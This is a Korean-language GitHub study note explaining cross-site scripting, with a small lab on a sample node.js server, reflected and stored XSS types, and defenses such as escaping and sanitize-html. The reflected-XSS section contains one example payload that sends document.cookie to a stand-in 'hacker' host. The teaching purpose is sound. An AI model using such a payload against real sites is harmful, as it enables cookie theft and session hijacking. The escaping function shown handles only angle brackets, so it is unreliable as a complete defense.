Skip to content

Latest commit

Β 

History

History
92 lines (56 loc) Β· 5.29 KB

XSS (Cross Site Scripting).md

File metadata and controls

92 lines (56 loc) Β· 5.29 KB

XSS (Cross Site Scripting)

μž‘μ„±μž : κΉ€μš°μ˜

1. XSSλž€ 무엇인가?

XSSλŠ” Cross Site Scriptingμ΄λΌλŠ” μ›Ή κ³΅κ²©κΈ°λ²•μ˜ μ•½μžμž…λ‹ˆλ‹€.

SQL Injectionκ³Ό λ”λΆˆμ–΄ κ°€μž₯ ν”ν•˜κ²Œ λ°œμƒν•˜λ©°, 곡격 μ‹œλ„ λ‚œμ΄λ„μ— λΉ„ν•΄ μ‹œμŠ€ν…œμ— λ§‰λŒ€ν•œ 영ν–₯을 쀄 수 μžˆλŠ” μ·¨μ•½μ μž…λ‹ˆλ‹€.

XSSλŠ” 주둜 μ›Ή μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ—μ„œ μΌμ–΄λ‚˜λŠ” μ·¨μ•½μ μœΌλ‘œ κ΄€λ¦¬μžκ°€ μ•„λ‹Œ κΆŒν•œμ΄ μ—†λŠ” μ‚¬μš©μžκ°€ μ›Ή μ‚¬μ΄νŠΈμ— μ•…μ˜μ μΈ 슀크립트λ₯Ό μ‚½μž…ν•˜λŠ” 곡격 κΈ°λ²•μž…λ‹ˆλ‹€. XSS 곡격은 λŒ€λΆ€λΆ„μ˜ μ‚¬μš©μžκ°€ 글을 μ“°κ³  읽을 수 μžˆλŠ” κ²Œμ‹œνŒμ— 주둜 λ°œμƒν•˜μ§€λ§Œ, μ‚¬μš©μžκ°€ μž…λ ₯ν•œ 값을 μ›ΉνŽ˜μ΄μ§€μ— λ³΄μ—¬μ£ΌλŠ” ν•­λͺ©(예λ₯Ό λ“€μ–΄ 아이디, λ‹‰λ„€μž„λ“±)에도 λ§ˆμ°¬κ°€μ§€λ‘œ 적용이 κ°€λŠ₯ν•©λ‹ˆλ‹€.

2. μ‹€μŠ΅

sample 디렉토리에 κ°„λ‹¨ν•œ node.js λ°±μ—”λ“œ μ„œλ²„λ₯Ό μƒμ„±ν•œ ν›„ μ§„ν–‰ν•©λ‹ˆλ‹€.

2.1 λ‹¨μˆœ HTML 문법을 μ‚¬μš©ν•œ 곡격 μ˜ˆμ‹œ

  1. <h1>Hello, world</h1>λΌλŠ” 일반적인 HTML <h1>νƒœκ·Έλ₯Ό μ‚¬μš©ν•˜μ—¬ λŒ“κΈ€μ„ μž‘μ„±ν–ˆμ„ λ•Œ exam1
  2. <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2f/Google_2015_logo.svg/1200px-Google_2015_logo.svg.png" />λΌλŠ” 이미지 μ‚½μž… νƒœκ·ΈμΈ<img>λ₯Ό μ‚¬μš©ν•˜μ—¬ λŒ“κΈ€μ„ μž‘μ„±ν•˜μ˜€μ„ λ•Œ exam2

μ΄λŸ°μ‹μœΌλ‘œ 기본적인 HTMLνƒœκ·Έλ₯Ό μ‚½μž…ν•˜λŠ”κ²ƒλ§ŒμœΌλ‘œλ„ μ‚¬μ΄νŠΈμ— 문제 λ λ§Œν•œ ν–‰μœ„κ°€ κ°€λŠ₯ν•©λ‹ˆλ‹€.

2.2 μžλ°”μŠ€ν¬λ¦½νŠΈλ₯Ό μ‚½μž…ν–ˆμ„ λ•Œ

기본적인 HTMLνƒœκ·Έλ₯Ό μ‚½μž…ν•˜λŠ” XSS의 경우 λ³΄νŽΈμ μœΌλ‘œλŠ” μ‚¬μ΄νŠΈμ˜ νλ¦„μ΄λ‚˜ λ ˆμ΄μ•„μ›ƒμ„ κΉ¨λœ¨λ¦¬λŠ”κ²ƒμ—μ„œ κ·ΈμΉ˜μ§€λ§Œ μ•…μ˜μ μΈ μŠ€ν¬λ¦½νŠΈκ°€ μ‚½μž…λ˜μ—ˆμ„ κ²½μš°μ—λŠ” μ€‘λŒ€ν•œ λ³΄μ•ˆ λ¬Έμ œκ°€ λ°œμƒν•  수 μžˆμŠ΅λ‹ˆλ‹€.

  1. alert()ν•¨μˆ˜λ₯Ό μ΄μš©ν•œ alertμ°½ λ°œμƒμ‹œν‚€κΈ° exam3

  2. μ‚¬μ΄νŠΈλ₯Ό μ΄λ™μ‹œν‚€λŠ” XSS 슀크립트

    location.href="https://naver.com"슀크립트λ₯Ό μ‚½μž…ν•΄ λ„€μ΄λ²„λ‘œ κ°•μ œ μ΄λ™λœ λͺ¨μŠ΅ exam4

3. XSS 곡격 μœ ν˜•

방금 μ•Œμ•„λ³Έ XSS 곡격기법은은 크게 두가지 μ’…λ₯˜λ‘œ λ‚˜λˆŒ 수 μžˆμŠ΅λ‹ˆλ‹€.

  1. Reflected XSS ReflectedXSS

    Reflected XSS 곡격은 μ‚¬μš©μžμ—κ²Œ μž…λ ₯ 받은 값을 μ„œλ²„μ—μ„œ λ˜λŒλ €μ£ΌλŠ” μ„œλΉ„μŠ€μ—μ„œ λ°œμƒν•©λ‹ˆλ‹€. 예λ₯Ό λ“€μ–΄ μ‚¬μš©μžκ°€ μž…λ ₯ν•œ 검색어λ₯Ό κ·ΈλŒ€λ‘œ λ…ΈμΆœμ‹œμΌœμ£ΌλŠ” μ›Ήμ‚¬μ΄νŠΈ ν˜Ήμ€ μ‚¬μš©μžκ°€ μž…λ ₯ν•œ 값을 μ—λŸ¬ 메세지에 ν¬ν•¨ν•˜μ—¬ λ³΄μ—¬μ£ΌλŠ” μ›Ήμ‚¬μ΄νŠΈμ—μ„œ Reflected XSS 곡격 μŠ€ν¬λ¦½νŠΈκ°€ μ‚½μž…λ‡Œλ©΄, μ„œλ²„κ°€ μ‚¬μš©μžμ˜ μž…λ ₯ 값을 응닡할 λ•Œ μŠ€ν¬λ¦½νŠΈκ°€ μ‹€ν–‰λ©λ‹ˆλ‹€. 보톡 Reflected XSSλŠ” κ³΅κ²©μžκ°€ μ•…μ˜μ μΈ μŠ€ν¬λ¦½νŠΈμ™€ ν•¨κ»˜ URL을 μ‚¬μš©μžμ—κ²Œ λˆ„λ₯΄λ„둝 μœ λ„ν•˜κ³ , URL을 λˆ„λ₯Έ μ‚¬μš©μžλŠ” μ•…μ˜μ μΈ μŠ€ν¬λ¦½νŠΈκ°€ μ‹€ν–‰λ˜μ–΄μ–΄ κ³΅κ²©λ‹Ήν•˜κ²Œλ©λ‹ˆλ‹€.

    λ§Œμ•½ λ‹€μŒκ³Ό 같은 곡격 μŠ€ν¬λ¦½νŠΈκ°€ μ‹€ν–‰λ˜κ²Œ λœλ‹€λ©΄ (μ‹€μŠ΅ 예제 2.2.2의 location.hrefλ₯Ό ν™œμš©ν•œ 슀크립트)

    http://testweb?search=<script>location.href("http://hacker/getcookie/value="+ document.cookie);</script>

    ν•΄μ»€λŠ” μžμ‹ μ˜ μ„œλ²„λ‘œ μ‚¬μš©μžμ˜ document.cookie즉 μ‚¬μš©μžμ˜ μΏ ν‚€λ₯Ό νƒˆμ·¨ν•˜μ—¬ μžμ‹ μ˜ μ„œλ²„λ‘œ μ „μ†‘ν•˜μ—¬ μ €μž₯ν•  수 μžˆκ²Œλ©λ‹ˆλ‹€.

  2. Stored XSS storedXSS

κ°€μž₯ 널리 자주 μ‚¬μš©λ˜λŠ” XSS 기법이며 곡격 μˆœμ„œλŠ” λ‹€μŒκ³Ό κ°™μŠ΅λ‹ˆλ‹€.

  1. κ²Œμ‹œνŒκ³Όκ°™μ΄ μ‚¬μš©μžκ°€ μž…λ ₯ν•œ 정보가 DBMS에 μ €μž₯λ˜λŠ” μ›Ήμ„œλΉ„μŠ€λ₯Ό νƒ€κ²ŸμœΌλ‘œ λ°œμƒν•©λ‹ˆλ‹€.

  2. κ³΅κ²©μžλŠ” 곡격 슀크립트λ₯Ό κ²Œμ‹œνŒμ— μž‘μ„±ν•˜κ²Œλ˜κ³ , μ„œλ²„λŠ” 이λ₯Ό DB에 μ €μž₯ν•˜κ²Œλ©λ‹ˆλ‹€.

  3. 정상 μœ μ €κ°€ κ²Œμ‹œνŒ λͺ©λ‘μ„ λ‘œλ“œν•  λ•Œ μ„œλ²„λŠ” DB에 μ €μž₯λ˜μ–΄μžˆλ˜ μ•…μ„± 슀크립트λ₯Ό λ°˜ν™˜ν•˜κ²Œλ©λ‹ˆλ‹€.

  4. 정상 μœ μ €μ˜ μ›ΉλΈŒλΌμš°μ €κ°€ DOM을 ν•΄μ„ν•˜λŠ” λ‹¨κ³„μ—μ„œ μ•…μ„± μŠ€ν¬λ¦½νŠΈκ°€ μ‹€ν–‰λ©λ‹ˆλ‹€.

4. XSS λ°©μ–΄ μ‹€νŒ¨μ‹œ λ°œμƒν•˜λŠ” 문제점

  1. κ°€μž₯ 큰 λ¬Έμ œμ μ€ λŒ€λΆ€λΆ„μ˜ XSS 곡격은 μ‚¬μš©μžλ‚˜ κ΄€λ¦¬μžμ˜ 계정을 λͺ¨λ₯΄λ”라도 μΏ ν‚€ νƒˆμ·¨ 및 μ„Έμ…˜ ν•˜μ΄μž¬ν‚ΉμœΌλ‘œ κ³΅κ²©μžκ°€ νšŒμ› κΆŒν•œμ„ κ°€μ§€κ²Œ λœλ‹€λŠ” κ²ƒμž…λ‹ˆλ‹€.
  2. μžλ°”μŠ€ν¬λ¦½νŠΈλŠ” μ›Ή μš”μ†Œλ₯Ό 자유자재둜 컨트둀이 κ°€λŠ₯ν•˜κΈ°μ—, 정상 μœ μ €μ—κ²Œ κ±°μ§“λœ νŽ˜μ΄μ§€λ₯Ό λ…ΈμΆœμ‹œν‚€κ±°λ‚˜ μ‚¬μ΄νŠΈ 이용 자체λ₯Ό λΆˆκ°€ν•˜λ„λ‘ ν•˜λŠ” λ“±μ˜ 문제λ₯Ό λ°œμƒμ‹œν‚¬ 수 μžˆμŠ΅λ‹ˆλ‹€.

5. XXS 곡격 λŒ€μ‘ 방법

  1. μž…λ ₯ κ°’ 검증 μ‚¬μš©μžκ°€ μž…λ ₯ν•œ 값에 λŒ€ν•œ κ²€μ¦μ ˆμ°¨λ₯Ό κ±°μΉ˜λ„λ‘ ν•˜λ©°, μ ˆλŒ€λ‘œ μ‚¬μš©μžκ°€ μž…λ ₯ν•œ κ°’ κ·ΈλŒ€λ‘œλ₯Ό μ‚¬μš©ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€. μ΄λŠ” SQL Injectionκ³Ό λ§ˆμ°¬κ°€μ§€λ‘œ XSS 곡격 λŒ€μ‘μ˜ κ°€μž₯ 기본적인 λ°©λ²•μž…λ‹ˆλ‹€.

    λ‹€μŒ ν•¨μˆ˜λŠ” XSSλ₯Ό ν•„ν„°λ§ν•˜λŠ” μ •κ·œν‘œν˜„μ‹ ν•¨μˆ˜μž…λ‹ˆλ‹€.

    function XSSFilter(content) {
      return content.replace(/</g, "&lt;").replace(/>/g, "&gt;");
    }
  2. Anti XSS, XSS λ°©μ–΄ 라이브러리 μ‚¬μš© 이미 λ§Œλ“€μ–΄μ§„ Anti XSS 라이브러리λ₯Ό μ‚¬μš©ν•¨μœΌλ‘œμ¨ 보닀 μˆ˜μ›”ν•˜κ²Œ XSS 곡격을 λ°©μ–΄ν•  수 있으며. λŒ€λΆ€λΆ„μ˜ λΌμ΄λΈŒλŸ¬λ¦¬κ°€ μž…λ ₯κ°’ 검증 κΈ°λŠ₯ μ—­μ‹œ μ œκ³΅ν•©λ‹ˆλ‹€.

    • λŒ€ν‘œμ μΈ node.js의 Anti XSS λΌμ΄λΈŒλŸ¬λ¦¬λŠ” sanitize-html μž…λ‹ˆλ‹€.